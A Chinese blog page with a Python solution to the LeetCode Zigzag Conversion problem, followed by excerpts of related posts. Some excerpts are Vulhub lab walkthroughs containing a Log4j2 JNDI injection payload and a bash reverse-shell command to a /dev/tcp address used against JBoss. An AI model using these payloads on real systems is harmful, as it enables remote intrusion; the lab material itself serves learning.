【LeetCode】 Z 字形变换

news2024/11/15 9:18:10

1. 题目

在这里插入图片描述

2. 分析

充分地思考问题,然后得出抽象解,最后再写代码。
本题初看是有点儿麻烦的,因为有个N型的变换,但是如果把这个N型压缩一下,其实就是考虑每行放什么值的问题。那么问题就简化成当前的字符串的字符需要放在哪一行?做一个处理就ok了。

3. 代码

class Solution:
    def convert(self, s: str, numRows: int) -> str:
        res = [[]for i in range(numRows)]
        idx = 0
        up = 0
        down = 1 # 初始值向下
        for i in range(len(s)):
            res[idx].append(s[i])
            if down:
                idx += 1
            elif up:
                idx -= 1
            if idx == numRows: # 只能往上
                idx -= 2
                up = 1
                down = 0
            elif idx < 0:
                idx += 2
                up = 0
                down = 1
        # print(res)
        out = ""
        for i in res:
            out = out + "".join(i)
        return out

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115588.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++中的一个标准输出流——cout

目录 开头1.什么是cout?2.C中的一个标准输出流——cout的实际应用打印“Hello, world!”打印大方块打印一个变量 下一篇博客要说的东西 开头 大家好&#xff0c;我叫这是我58。今天&#xff0c;我们要学一下关于C中的一个标准输出流——cout的一些知识。 1.什么是cout? cou…

react js 笔记 3

起因&#xff0c; 目的: 专注。 学习 react js 的时候&#xff0c; 就专注这一方面 &#xff0c;其他都不要碰。 比如&#xff0c; python, C语言&#xff0c; R, 都不看。 只看 js.专注&#xff0c;减少来回切换。 重复。 自己写的笔记&#xff0c;需要反复多看几遍&#xff…

如何使用正则表达式替换字符串中的特定位置数字

如何使用正则表达式替换字符串中的特定位置数字 1、效果 把字符串中的第一个123替换掉: 2、代码 使用正则中的sub函数: re.sub(pattern,repl,string,count=0,flags=0) pattern:表示需要匹配的模式,即需要被替换的字符或字符串。 repl:表示替换后的字符串或函数,用于…

远程代码执行-Log4j2漏洞

1.在vulhub中打开环境 进入环境所在的文件 打开环境 docker-compose up -d 2.浏览器访问打开环境 3.使用dnslog查看是否存在漏洞 solr/admin/cores?action${jndi:ldap://${sys:java.version}.9dbu98.dnslog.cn 发现可以返回java版本 说明存在漏洞 4.开始反弹shell 下载jd…

本地零阶提示优化

本文探讨了如何优化大型语言模型&#xff08;LLM&#xff09;中的提示&#xff08;prompt&#xff09;&#xff0c;以更有效地利用这些黑盒模型的能力。传统的优化方法倾向于寻找全局最优解&#xff0c;但在某些情况下这种做法可能表现不佳。通过对提示优化进行深入的研究&…

Qt/C++编写的Onvif调试助手调试神器工具/支持云台控制/预置位设置等/有手机版本

一、功能特点 广播搜索设备&#xff0c;支持IPC和NVR&#xff0c;依次返回。可选择不同的网卡IP进行对应网段设备的搜索。依次获取Onvif地址、Media地址、Profile文件、Rtsp地址。可对指定的Profile获取视频流Rtsp地址&#xff0c;比如主码流地址、子码流地址。可对每个设备设…

Linux下的PWM驱动

PWM PWM简介⭕ **PWM&#xff08;Pulse Width Modulation&#xff0c;脉冲宽度调制&#xff09;**是一种利用微处理器的数字输出对模拟电路进行控制的技术。通过改变脉冲的占空比&#xff0c;可以控制模拟电路的输出电压或电流。PWM技术广泛应用于电机控制、灯光调节、音频信号…

一份热乎的数据分析(数仓)面试题 | 每天一点点,收获不止一点

目录 1. 已有ods层⽤⼾表为ods_online.user_info&#xff0c;有两个字段userid和age&#xff0c;现设计数仓⽤⼾表结构如 下&#xff1a; 2. 设计数据仓库的保单表&#xff08;⾃⾏命名&#xff09; 3. 根据上述两表&#xff0c;查询2024年8⽉份&#xff0c;每⽇&#xff0c…

【反射知识点详解】

Java中的反射&#xff08;Reflection&#xff09;是一个非常强大的机制&#xff0c;它允许程序在运行时检查或修改类的行为。这种能力主要通过java.lang.reflect包中的类和接口来实现。 通过反射&#xff0c;Java程序可以动态地创建对象、调用方法、访问字段&#xff0c;以及获…

JS_分支结构

if结构 这里的if结构几乎和JAVA中的一样,需要注意的是 if()中的非空字符串会被认为是trueif()中的非零数字会被认为是trueif()中的非空对象会被认为是true <script> if(false){// 非空字符串 if判断为true console.log(true) }else{ console.log(false) } if(){// 长度…

统计进程的CPU和内存占用(最大,均值,90分位)

本文先通过top采集所有进程的CPU和内存情况并保存到文件&#xff0c;然后提取指定进程的数据&#xff0c;最后通过 python 对采集的数据进行可视化。 一、使用脚本采集top数据 1. 单次top输出如下 2. 编写脚本每隔1秒采集一次top数据保存到文件 #!/bin/bash# 按照年月日十分…

非线性建模问题的线性化思考

很长时间没有提笔写博&#xff0c;近两年来一直从事规划领域方面的研究&#xff0c;在熟悉业务的同时&#xff0c;对规划算法也有了新的看法。相比智能算法的概率性&#xff0c;规划算法对求解的精确性要求更高。 本篇博客将围绕非线性问题如何线性化典型问题&#xff0c;分类归…

协同过滤算法相关答辩问题、代码实现过程

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 &#x1f393;擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号&#xff1a;热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…

大学新生的学习秘诀:如何学习编程?(文末赠书)

1.为什么要学习编程 大学生学习编程不仅关乎个人技能的提升&#xff0c;还涉及到未来的职业发展、创新能力培养以及适应快速变化的社会需求。 (1)增强就业竞争力 当今数字化时代&#xff0c;编程技能已成为许多行业的必备技能。掌握编程能够让你在求职市场上脱颖而出&#x…

Vulhub Apache Airflow (CVE-2020-11978)

来到目录下初始化数据库 然后开启环境 查看端口访问 访问http://your-ip:8080进入airflow管理端&#xff0c;将example_trigger_target_dag前面的Off改为On&#xff1a; 再点击执行按钮&#xff0c;在Configuration JSON中输入&#xff1a;{"message":"\";…

SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

概述 作为 Apple 开发中的全栈秃头老码农们&#xff0c;我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境&#xff0c;苹果从 iOS 13&#xff08;macOS 11&#xff09;开始引入了 SF Symbols 字符图形。 有了 SF Symbols&#xf…

【 html+css 绚丽Loading 】000043 太一玄元镜

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽Loading&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令&#xff0c;需要对其进行base64加密 //反弹shell命令&#xff0c;注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

git:分支管理

目录 一、分支概念 二、创建分支 三、切换分支 四、合并分支 五、删除分支 六、合并冲突 七、分支管理策略 八、分支策略 九、bug分支 十、强制删除分支 一、分支概念 在版本回退里&#xff0c;每次提交&#xff0c;git都把它们串成一条时间线&#xff0c;这条时间线可以…